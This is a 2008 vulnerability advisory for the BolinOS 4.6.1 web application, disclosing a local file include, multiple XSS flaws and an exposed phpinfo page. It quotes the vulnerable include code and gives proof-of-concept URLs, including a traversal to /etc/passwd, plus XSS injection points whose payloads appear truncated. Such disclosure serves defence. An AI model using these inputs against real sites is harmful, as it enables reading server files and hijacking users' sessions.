Digital Security Research Group [DSecRG] Advisory #DSECRG-08-022 Application: BolinOS Versions Affected: 4.6.1 Vendor URL: http://www.bolinos.com Bugs: Local File Include,Multiple XSS, System information disclosure Exploits: YES Reported: 13.03.2008 Second report: 18.03.2008 Vendor response: none Solution: none Date of Public Advisory: 25.03.2008 Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** BolinOS system has multiple security vulnerabilities: 1. Local File Include 2. Multiple Linked XSS vulnerabilities 3. Multiple XSS in POST 4. System information disclosure Details ******* 1. Local File Include vulnerability found in system/_b/contentFiles/gbincluder.php Code **** ################################################# $actionpagetoinclude=$_GET["_bFileToInclude"]; if($actionpagetoinclude!="" && @file_exists(gBRootPath."/$actionpagetoinclude")){ @include(gBRootPath."/$actionpagetoinclude"); } else{ echo "NO FILE"; } ################################################# Example: http://[server]/[installdir]/system/_b/contentFiles/gbincluder.php?_bFileToInclude=../../../../../../../../../../../../../etc/passwd --------------------------------------------------------------------- 2. Multiple linked XSS vulnerabilities found. 2.1 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBImageViewer.php Attacker can inject XSS in GET parameter "url" Example: http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBImageViewer.php?url= 2.2 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBselectorContents.php Attacker can inject XSS in GET parameter "ForEditor". Example: http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBselectorContents.php?ForEditor='> 2.3 Linked XSS vulnerabilities found in following pages: /system/actionspages/_b/contentFiles/gBLoginPage.php /system/actionspages/_b/contentFiles/gBPassword.php Attacker can inject XSS script in URL Example: http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBLoginPage.php/"> http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBPassword.php/"> --------------------------------------------------------------------- 3. Multiple XSS in POST vulnerabilities, attacker can inject XSS in POST parameter. 3.1 Vulnerability found in script /system/actionspages/_b/contentFiles/gBLoginPage.php POST parameter "formlogin". Example: POST /bolinos/system/actionspages/_b/contentFiles/gBLoginPage.php?bAddress=bolinos.sessions HTTP/1.0 Content-Length: 81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS; .NET CLR 2.0.50727) formlogin=%27>&BtLogin.x= 3.2 Vulnerability found in page /help/index.php POST parameter "bolini_searchengine46Search". Example: bolini_searchengine46Search = '> -------------------------------------------------------------------- 4. System information disclosure Non-authentication user can access phpinfo() page. http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBphpInfo.php About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)